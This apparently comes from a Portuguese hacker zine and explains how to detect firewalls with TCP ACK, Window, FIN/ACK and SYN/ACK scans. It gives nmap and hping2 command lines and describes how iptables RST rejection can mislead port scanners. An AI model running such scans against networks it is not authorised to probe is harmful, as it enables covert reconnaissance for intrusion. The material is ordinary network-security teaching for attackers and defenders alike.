Embora não seja assunto para Kid, mas invasores mais atentos que busca realmente um alvo, com certeza na enumeração que antever uma investida, ele vai tentar mapear os dispositivos de uma rede alvo, buscando conhecer a real topologia do alvo. Assim sendo, detectar firewall é sem sombra de dúvidas necessário. Hoje com um simples traceroute em muito casos contando o valor de TTL que retorna de um alvo e verificando o número de salto em muito caso é perceptivel que houve a manipulação do datagrama durante seu trajeto o que notoriamente identificar um firewall, mas o objetivo desse artigo é falta das possibilidades ativas, em suma, as técnicas comumente utilizadas para identificar firewalls. Varredura com Datagrama TCP/ACK Este método avançado é usado identificar firewalls Stateful ou um Packet Filter (firewalls que atuam na camada 3, camada IP denominados filtro de pacotes) . O conceito dessa técnica é aproveitar que um datagrama TCP/ACK orfão (que não pertença a nenhum comunicação estabelecida) teria como resposta RST tanto em uma porta aberta como fechada. Dessa forma se um RST voltar as portas estão classificados como "não filtrados". Se nada volta (ou se um ICMP tipo 3 unreachable for retornado), a porto é classificado como "filtrado", o Nmap envia inicialmente 2 pacote rebendo como resposta TCP/RST ele assume que a porta não esta filtrada, recebendo um ICMP tipo 3 está filtrada, não recebendo nada ele envia uma sequência com mas 4 pacotes e não tendo resposta mais uma vez assume que as portas estão filtradas. Dentro desse cenário encontramos algumas váriações possíves de detecção de firewall. Seria elas varreduras TCP/Windows, FIN/ACk, SYN/ACK, sendo as duas primeira implementadas no Nmap e ultima é facilmente provado seu conceito com o hping2. Irei falar da outras técnicas # nmap -sA ip.ip.ipp Usando o Hping # hping2 ip.ip.ip.ip --ack -p 22 -c 2 Varredura da janela do interruptor: Esta varredura avançada é muito similar à varredura do ACK, pois é realizada com um pacote TCP/ACK, objetivando identificar dessa vez portas protegidas por sistemas de firewal l e não portas abertas. O Nmap envia inicialmente duas sequências não tendo resposta envia mas 4, não tendo resposta assume que existe firewall, todavia qdo o pacote é rejeitado e o sistema de Firewall devolvo um ICMP tipo 3 no inicio da exploração fica fácil determinar que a porta esta filtrada qdo volta um TCP/RST o scanner interpreta que não existe firewall, ou seja a porta não esta filtrada Exemplicando # nmap -sW ip.ip.ip.ip Varredura FIN/ACK =============== Enbora tenha o bi FIN ativo os pacotes TCP enviados iram ter o comportamento similar a varredura TCP/ACK, todavia é mais forma interessante de identificação de firewall, tendo ainda a possibilidade de não ser detectado por um sistema que esta condicionado a detectar varreduras onde somente o tenhamos o flag ACK ativo. # nmap -sM ip.ip.ip.ip # hping2 ip.ip.ip.ip --fin --ack -p -c 3 Varreduras SYN/ACK ================= Nessa técnica é utilizada como como recurso datragrams TCP como os bitrs SYN e ACK ativos que normalmente são usando em handshake, O comportamento similar a varreduras TCP/ACK., FIN/ACK, e TCP WINDOWS, ou seia é mais forma identificação de firewall, tendo ainda a possibilidade de não ser detectado por um sistema que esta condicionado a detectar varreduras e o mesmo não esteja pronta par tratar a chegada de datagramas TCP SYN/ACK orfãos. Essa técnica não é implentada no NMAP e nem no Amap. Todaiva é fácil prova seu conceito com o Hping2.Provando o Conceito. utilize o Hping2 com a seguinte sintaxe, Para TCP SYN/ACK # hping2 ip.ip.ip.ip --syn --ack -p -c 3 Usando falso posivito para enganar PortScan Para os mais desavisados e menos competentes comumente conhecidos por nós como Script Kiddies é possível gerar um cenário interessante onde fácilmente seria possivél enganar um scanner como Nmap, mas retormar seu funcionamento para as técnicas de detecção de Firewall, o nmap envia 2 pacotes se ele receber um TCP/RST como resposta para os dois pacotes enviados ele assume que a porta não esta filtrada caso ele recebaICMP tipo 3 como resposta ele assume que a porta esta filtrada, pois ele entende como uma ação de um Firewall que rejeita pacotes e se ele não recebe nada envia mais 4 pacotes, não obtendo resposta assume a porta com filtrada. Bem imagine que venhamos a definir numa configuração de politicas num Firewall que na porta 22 somente aceitaremos conexões de IP´s já pré-definidos e qualquer outro IP terá seus pacote rejeitados, só que na potilica definimos para o Firewall não rejeita com ICMP e sim com TCP/RST, com certeza motivaria um falso negativo no resultdado do scanner. Isso é uma possibilidade interessante pois hoje podemos definir como o Firewall rejeita pacotes , o Iptables que é a ferramenta da familia do Kernel do 2.4 do Linux que nós possibilita isso, com certeza outros firewall inteligentes também. Um cenário interessante que muitos administradores que usam esse recurso de gerar falso possitivo acabam esquecendo é que quem responde é o IPTABLES e não a pilha TCP/IP e distro como Red Hat por exemplo, ultimamente tem como TTL padrão inicial o valor 64, mas o IPTABLES ao rejeitar uma pacote por padrão o TTL é 255. Então um invasor mais esperto usando um montador de pacote como Hping2 por exemplo facilmente percebe que a porta esta devolver um TCP/RST não está fechada e sim filttrada com a politica de rejeitar pacotes definida para rejeita com TCP/RST, desse modo é recomendável quando usar esse artificio mudar o valor de TTL padrão no arquivo /proc/sys/net/ipv4/Ip_default_ttl,. Bem moral da história ter um firewall é igual ter cachorro se o bicho latir o ladrão pensa duas vezes mas o firewall pode enganar o portscanner meu pitbull não. Espero ter ajudado os leitores dessa zine !!! até a próxima .. valeu sangue